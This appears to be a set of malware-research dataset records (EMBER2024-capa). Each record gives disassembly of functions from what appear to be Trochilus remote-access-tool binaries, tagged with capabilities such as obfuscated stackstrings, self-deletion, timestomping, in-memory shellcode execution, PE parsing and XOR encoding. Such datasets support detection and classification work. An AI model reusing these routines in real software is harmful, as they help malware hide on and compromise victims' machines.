joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4855b7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
cwde
pop ss
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.004851fa
push eax
push esi
push dword [ebp + 8]
call fcn.004851af
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.004851fa
push eax
push esi
push dword [ebp + 8]
call fcn.004851af
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.004851ea
or eax, 0x88e2a625
popfd
jl 0x48566f
invalid
invalid
Function at 0x10001060
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
mov esi, dword [0x100214a8]
mov ebx, 0x104
push edi
push 4
push 0x1000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x100010b5
push str.getmodulefilename_failed.
push 2
push 0x67
push str.C:UsersScxttDesktopTrochilus_baseincludedestructionSelfDestruction.cpp
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10001727
add esp, 0x14
xor eax, eax
jmp 0x100010ea
push edi
push str.try_to_remove__s_
push 1
push 0x6a
push str.C:UsersScxttDesktopTrochilus_baseincludedestructionSelfDestruction.cpp
push 0
call fcn.10001727
add esp, 0x18
test edi, edi
je 0x100010e7
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x100010e7
push 0xfffffffffffffffe
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000113b
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, ecx
push 0
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
test edi, edi
je 0x100011a5
mov esi, dword [ebp + 8]
mov ecx, esi
push edi
call fcn.100011af
mov esi, dword [esi]
lea eax, [ebp - 4]
and dword [ebp - 4], 0
push 0
push eax
push edi
push esi
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100011a1
mov eax, dword [ebp - 4]
test eax, eax
je 0x10001198
push 0
sub edi, eax
add esi, eax
lea eax, [ebp - 4]
push eax
push edi
push esi
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x10001179
xor eax, eax
test edi, edi
sete al
jmp 0x100011a8
xor eax, eax
jmp 0x100011a8
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x1000120e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
push edi
cmp dword [esi + 8], 0
jne 0x1000128f
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.100015aa
test eax, eax
je 0x1000128f
mov ecx, esi
call fcn.10001632
mov ebx, eax
test ebx, ebx
je 0x1000128f
push 0x40
push 0x3000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x1000128f
push dword [ebp + 8]
mov ecx, esi
push edi
call fcn.10001693
mov eax, dword [esi + 0x10]
cmp dword [eax + 0xa0], 0
jbe 0x10001276
cmp dword [eax + 0xa4], 0
jbe 0x10001276
push edi
mov ecx, esi
call fcn.100013cf
push edi
mov ecx, esi
call fcn.1000145e
test eax, eax
jne 0x10001298
push 0x8000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 8
lea eax, [ebp + 8]
push eax
push 0x40
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esi + 0x10]
xor ebx, ebx
push ebx
push 1
push edi
mov dword [eax + 0x34], edi
mov eax, dword [esi + 0x10]
mov eax, dword [eax + 0x28]
add eax, edi
mov dword [esi + 4], eax
call eax
test eax, eax
jne 0x100012db
push ebx
push ebx
push edi
call dword [esi + 4]
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [esi + 4], ebx
jmp 0x1000128f
xor eax, eax
mov dword [esi + 8], edi
inc eax
mov dword [esi], eax
jmp 0x10001291

Function at 0x100015aa
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0x40
push esi
mov esi, ecx
jb 0x1000162b
mov edx, dword [ebp + 8]
mov eax, 0x5a4d
mov dword [esi + 0xc], edx
cmp word [edx], ax
jne 0x1000162b
mov ecx, dword [edx + 0x3c]
lea eax, [ecx + 0xf8]
cmp dword [ebp + 0xc], eax
jb 0x1000162b
add ecx, edx
mov dword [esi + 0x10], ecx
cmp dword [ecx], 0x4550
jne 0x1000162b
movzx eax, word [ecx + 0x16]
test eax, 0x2000
je 0x1000162b
test al, 2
je 0x1000162b
mov eax, 0xe0
cmp word [ecx + 0x14], ax
jne 0x1000162b
lea eax, [ecx + 0xf8]
xor edx, edx
mov dword [esi + 0x14], eax
movzx esi, word [ecx + 6]
test esi, esi
je 0x10001626
add ecx, 0x108
mov eax, dword [ecx + 4]
add eax, dword [ecx]
cmp eax, dword [ebp + 0xc]
ja 0x1000162b
inc edx
add ecx, 0x28
cmp edx, esi
jl 0x10001614
xor eax, eax
inc eax
jmp 0x1000162d
xor eax, eax
pop esi
pop ebp
ret 8
Function at 0x100024dd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, edx
mov dword [ebp - 4], ecx
mov ecx, dword [ebp + 0x10]
xor esi, esi
test edi, edi
je 0x10002519
lea eax, [ebx + ecx]
xor edx, edx
mov ebx, 0xff
div ebx
mov eax, dword [ebp - 4]
lea ebx, [ecx]
movzx ecx, dl
mov al, byte [esi + eax]
xor al, dl
mov edx, dword [ebp + 8]
mov byte [esi + edx], al
inc esi
cmp esi, edi
jb 0x100024f5
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10002749
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
mov eax, dword [0x1002000c]
xor eax, esp
mov dword [esp + 0x38], eax
push ebx
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
lea edi, [esp + 0x2c]
mov dword [esp + 0x10], esi
stosd dword es:[edi], eax
xor ebx, ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], 7
mov word [esp + 0x2c], ax
call fcn.10002495
push eax
lea ecx, [esp + 0x30]
call fcn.100019bb
call fcn.100024b9
push eax
lea ecx, [esp + 0x30]
call fcn.10002294
cmp dword [esp + 0x40], 8
lea eax, [esp + 0x2c]
push 0x80
cmovae eax, dword [esp + 0x30]
push 1
push ecx
push 0x80000000
push eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x20], ebx
call fcn.100010f1
mov edi, dword [esp + 0xc]
test eax, eax
jne 0x10002806
cmp dword [esp + 0x40], 8
lea eax, [esp + 0x2c]
cmovae eax, dword [esp + 0x2c]
push eax
push str.open_file_failed__s_
push 2
push 0x2c
push str.C:UsersScxttDesktopTrochilusclient_servant_shellExports.cpp
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10001727
add esp, 0x18
jmp 0x100028ad
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x2c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
jne 0x1000283f
push str.get_file_time_failed.
push 2
push 0x33
push str.C:UsersScxttDesktopTrochilusclient_servant_shellExports.cpp
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10001727
add esp, 0x14
jmp 0x100028ad
push 0x80
push 2
push ecx
push 0x40000000
push esi
lea ecx, [esp + 0x20]
mov dword [esp + 0x20], ebx
call fcn.100010f1
mov esi, dword [esp + 0xc]
test eax, eax
jne 0x10002885
push dword [esp + 0x10]
push str.open_target__s__failed.
push 2
push 0x3a
push str.C:UsersScxttDesktopTrochilusclient_servant_shellExports.cpp
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10001727
add esp, 0x18
jmp 0x1000289d
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x2c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
mov ebx, eax
test esi, esi
je 0x100028ad
cmp esi, 0xffffffff
je 0x100028ad
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x100028bd
cmp edi, 0xffffffff
je 0x100028bd
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esp + 0x40]
cmp edx, 8
jb 0x100028d6
mov ecx, dword [esp + 0x2c]
lea edx, [edx*2 + 2]
call fcn.10001c68
mov ecx, dword [esp + 0x44]
mov eax, ebx
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10003004
mov esp, ebp
pop ebp
ret
Function at 0x10002ab0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1002000c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x1c]
push dword [eax]
call fcn.10002068
cmp dword [ebp - 8], 8
lea ecx, [ebp - 0x1c]
cmovae ecx, dword [ebp - 0x1c]
cmp dword [ebp - 0xc], 3
jne 0x10002af2
push dword [ebp - 0xc]
call fcn.1000216a
pop ecx
test eax, eax
jne 0x10002af2
mov dword [0x100208f4], eax
jmp 0x10002af7
mov eax, dword [0x100208f4]
test eax, eax
je 0x10002b17
cmp dword [ebp - 8], 8
lea eax, [ebp - 0x1c]
push fcn.10002a64
cmovae eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerW]
mov dword [0x100214f4], eax
push 1
push 2
pop ecx
call fcn.100029e5
push 0
push 0
push 0x10002aa7
call fcn.1000a584
push 0
push 4
pop ecx
call fcn.100029e5
add esp, 0x14
lea ecx, [ebp - 0x1c]
call fcn.10001c3d
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003004
leave
ret 8

Function at 0x10002b83
Capabilities:
Terminate process

Disassembly:
push 1
call fcn.10002a64
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x1000a99e
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1000a9dd
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000a9dd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000a9dd
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1000a9dd
cmp dword [ecx + 0x74], 0xe
jbe 0x1000a9dd
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x1000d73f
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10019da4
push 0x10019d9c
push str.FlsAlloc
push 0x1f
call fcn.1000d61b
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000d773
push dword [ebp + 8]
mov ecx, esi
call dword [0x10018174]
call esi
jmp 0x1000d779
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1000d7bd
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10019db4
push 0x10019dac
push str.FlsGetValue
push 0x21
call fcn.1000d61b
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000d7f4
push dword [ebp + 8]
mov ecx, esi
call dword [0x10018174]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1000d7fc
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10019dbc
push 0x10019db4
push str.FlsSetValue
push 0x22
call fcn.1000d61b
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000d836
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10018174]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1000f582
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000f61f
push ebx
push esi
call fcn.1000f54b
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000f4df
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000f5cc
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000f61e
push edi
push eax
call fcn.1000b822
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000f5ec
call fcn.1000b870
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000f61d
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000f4df
add esp, 0x20
test eax, eax
jne 0x1000f60b
push edi
call fcn.1000b870
jmp 0x1000f613
push ebx
call fcn.1000b870
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x10016a20
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10016a4d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10016a4d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0xf22510
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0xf4f094]
xor eax, esp
mov dword [esp + 0x210], eax
push edi
push 0x206
xor edi, edi
lea ecx, [esp + 0x12]
xor eax, eax
push edi
push ecx
mov word [esp + 0x18], ax
call fcn.00f34250
add esp, 0xc
mov dword [esp + 4], edi
cmp esi, edi
je 0xf225df
mov eax, 0xf4c640
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0xf22555
sub eax, edx
sar eax, 1
je 0xf225df
lea edx, [esp + 0xc]
push edx
push 0x104
call dword [fcn.00f45124]
push 0xf4c640
lea eax, [esp + 0x10]
push 0x104
push eax
call fcn.00f326bd
push 0xf4c638
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.00f32164
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0xf225df
push eax
push 1
push 0x200
push esi
call fcn.00f329da
mov eax, dword [esp + 0x14]
push eax
call fcn.00f32412
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.00f31ee8
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, edi
pop edi
xor ecx, esp
call fcn.00f31ee8
add esp, 0x214
ret

Function at 0xf227c0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
sub esp, 8
push ebx
push esi
push edi
push 0x3e8
mov dword [esp + 0x10], 0
call dword [0xf45140]
push 0xf4c6dc
lea eax, [esp + 0x10]
push 0xf51de8
push eax
call fcn.00f32164
mov eax, dword [esp + 0x18]
add esp, 0xc
test eax, eax
je 0xf228f1
push 2
push 0
push eax
call fcn.00f32e4f
mov ecx, dword [esp + 0x18]
add esp, 0xc
push ecx
call fcn.00f33071
mov esi, eax
add esp, 4
push esi
call fcn.00f330df
mov edx, dword [esp + 0x10]
add esp, 4
push 0
push 0
push edx
mov edi, eax
call fcn.00f32e4f
mov eax, dword [esp + 0x18]
add esp, 0xc
push eax
push esi
push 1
push edi
call fcn.00f329da
add esp, 0x10
cmp esi, eax
jne 0xf228d3
call dword [0xf4512c]
push eax
call fcn.00f32d91
add esp, 4
call fcn.00f32da3
mov dword [esp + 0x10], eax
fild dword [esp + 0x10]
fmul qword [0xf4d138]
fmul qword [0xf4d130]
fadd qword [0xf4d128]
call fcn.00f34af0
cmp esi, eax
jl 0xf228d3
mov ebx, edi
sub ebx, eax
add ebx, esi
call fcn.00f22770
mov ecx, dword [esp + 0xc]
push ecx
call fcn.00f32412
add esp, 4
push 0xf51de8
call dword [0xf4511c]
push 0xf4c774
lea edx, [esp + 0x10]
push 0xf51de8
push edx
call fcn.00f32164
mov eax, dword [esp + 0x18]
add esp, 0xc
test eax, eax
je 0xf228f1
push eax
push esi
push 1
push edi
call fcn.00f32319
add esp, 0x10
mov eax, dword [esp + 0xc]
test eax, eax
je 0xf228e4
push eax
call fcn.00f32412
add esp, 4
test edi, edi
je 0xf228f1
push edi
call fcn.00f31edd
add esp, 4
pop edi
pop esi
pop ebx
add esp, 8
ret
Function at 0xf247b0
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
push ebx
push ebp
xor ebp, ebp
push esi
mov ebx, ecx
push edi
mov edi, eax
mov dword [esp + 0x10], ebp
cmp ebx, ebp
je 0xf248a1
cmp edi, 0xa
jb 0xf248a1
lea eax, [edi*4]
mov dword [esp + 0x14], eax
inc eax
push eax
call fcn.00f31f46
add esp, 4
mov esi, eax
push esi
push ebx
lea edx, [esp + 0x1c]
mov ecx, edi
call fcn.00f24630
add esp, 8
test eax, eax
je 0xf2489a
mov eax, dword [esp + 0x1c]
push 0xf4b804
push eax
lea ecx, [esp + 0x18]
push ecx
call fcn.00f32164
mov eax, dword [esp + 0x1c]
add esp, 0xc
test eax, eax
jne 0xf24825
lea ebp, [eax - 2]
jmp 0xf24850
mov edi, dword [esp + 0x14]
push eax
push edi
push 1
push esi
call fcn.00f32319
add esp, 0x10
cmp eax, edi
je 0xf24867
mov ebp, 0xfffffffe
mov eax, dword [esp + 0x10]
test eax, eax
je 0xf24850
push eax
call fcn.00f32412
add esp, 4
test esi, esi
je 0xf2485d
push esi
call fcn.00f32010
add esp, 4
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
mov edi, dword [0xf4512c]
call edi
xor edx, edx
mov ecx, 0x1f4
div ecx
mov ebx, edx
call edi
xor edx, edx
mov ecx, 0x3e8
div ecx
mov eax, dword [esp + 0x10]
push eax
push ebx
push 1
add edx, esi
push edx
call fcn.00f32319
add esp, 0x10
jmp 0xf2483f
mov ebp, 0xfffffffd
jmp 0xf2483f
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 8
ret
Function at 0xf26620
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
test ecx, ecx
jne 0xf26627
xor eax, eax
ret
push esi
not eax
cmp edx, 8
jb 0xf26704
mov esi, edx
shr esi, 3
push edi
lea esp, [esp]
movzx edi, byte [ecx]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0xf4ab48]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0xf4ab48]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0xf4ab48]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0xf4ab48]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0xf4ab48]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0xf4ab48]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0xf4ab48]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0xf4ab48]
inc ecx
sub edx, 8
sub esi, 1
jne 0xf26640
pop edi
test edx, edx
je 0xf2672b
jmp 0xf26710
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0xf4ab48]
inc ecx
sub edx, 1
jne 0xf26710
not eax
pop esi
ret

Function at 0xf26730
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [edx]
movsx ecx, cl
xor ecx, eax
shr eax, 8
and ecx, 0xff
mov ecx, dword [ecx*4 + 0xf4ab48]
xor ecx, eax
movzx eax, cl
add eax, dword [edx + 4]
mov dword [edx], ecx
mov ecx, dword [edx + 8]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0xf4ab48]
mov dword [edx + 8], ecx
ret

Function at 0xf26780
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov ecx, dword [esi + 8]
push ebx
mov edx, ecx
and edx, 0xfffd
or edx, 2
mov ebx, edx
xor ebx, 1
imul ebx, edx
mov edx, dword [esi]
shr ebx, 8
push edi
xor al, bl
movsx edi, al
xor edi, edx
shr edx, 8
and edi, 0xff
mov ebx, dword [edi*4 + 0xf4ab48]
xor ebx, edx
movzx edx, bl
add edx, dword [esi + 4]
mov dword [esi], ebx
imul edx, edx, 0x8088405
inc edx
mov dword [esi + 4], edx
shr edx, 0x18
xor edx, ecx
and edx, 0xff
shr ecx, 8
xor ecx, dword [edx*4 + 0xf4ab48]
pop edi
mov dword [esi + 8], ecx
pop ebx
ret
Function at 0xf27b80
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [esp + 0x18]
push edi
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jne 0xf27b9e
pop edi
pop ebp
mov eax, 0xffffff9a
pop ebx
add esp, 0xc
ret
cmp dword [edi + 0x18], ebx
je 0xf27b92
cmp dword [edi + 0x7c], ebx
je 0xf27bad
call fcn.00f27f60
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x1c]
push edx
call fcn.00f278f0
add esp, 0xc
test eax, eax
je 0xf27bd4
pop edi
pop ebp
mov eax, 0xffffff99
pop ebx
add esp, 0xc
ret
push esi
push 0x7e
call fcn.00f31f46
mov esi, eax
add esp, 4
cmp esi, ebx
je 0xf27c12
push 0x4000
call fcn.00f31f46
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
add esp, 4
mov dword [esi], eax
mov dword [esi + 0x44], ecx
mov dword [esi + 0x48], edx
mov dword [esi + 0x4c], ebx
cmp eax, ebx
jne 0xf27c1f
push esi
call fcn.00f32010
add esp, 4
pop esi
pop edi
pop ebp
mov eax, 0xffffff98
pop ebx
add esp, 0xc
ret
mov dword [esi + 0x40], ebx
mov ecx, dword [edi + 0x3c]
xor eax, eax
cmp dword [edi + 0x34], ebx
mov dword [esi + 0x54], ecx
mov dword [esi + 0x50], ebx
mov edx, dword [edi + 0x34]
sete al
mov dword [esi + 0x64], edx
mov ecx, dword [edi]
mov dword [esi + 0x60], ecx
mov edx, dword [edi + 0xc]
mov dword [esi + 0x68], edx
mov dword [esi + 0x18], ebx
cmp eax, ebx
jne 0xf27c67
lea eax, [esi + 4]
mov dword [esi + 0x24], ebx
mov dword [esi + 0x28], ebx
mov dword [esi + 0x2c], ebx
call fcn.00f26a40
test eax, eax
jne 0xf27c67
mov dword [esi + 0x40], 1
mov eax, dword [edi + 0x40]
mov dword [esi + 0x58], eax
mov ecx, dword [edi + 0x44]
mov dword [esi + 0x5c], ecx
mov dl, byte [edi + 0x30]
and dl, 1
mov byte [esi + 0x6c], dl
mov eax, dword [edi + 0x30]
shr eax, 3
test al, 1
je 0xf27c8e
mov cl, byte [edi + 0x39]
mov byte [esi + 0x7d], cl
jmp 0xf27c94
mov dl, byte [edi + 0x3f]
mov byte [esi + 0x7d], dl
movzx eax, byte [esi + 0x6c]
neg eax
sbb eax, eax
and eax, 0xc
lea edx, [esi + 0x6d]
mov dword [esi + 0x79], eax
mov dword [edx], 0x12345678
mov dword [esi + 0x71], 0x23456789
mov dword [esi + 0x75], 0x34567890
cmp ebp, ebx
je 0xf27cd1
lea ecx, [ecx]
mov cl, byte [ebp]
cmp cl, bl
je 0xf27cd1
call fcn.00f26730
add ebp, 1
jne 0xf27cc0
mov ecx, dword [edi + 0x78]
mov edx, dword [esp + 0x18]
lea eax, [ecx + edx + 0x1e]
mov dword [esi + 0x3c], eax
mov dword [esi + 8], ebx
mov dword [edi + 0x7c], esi
pop esi
pop edi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret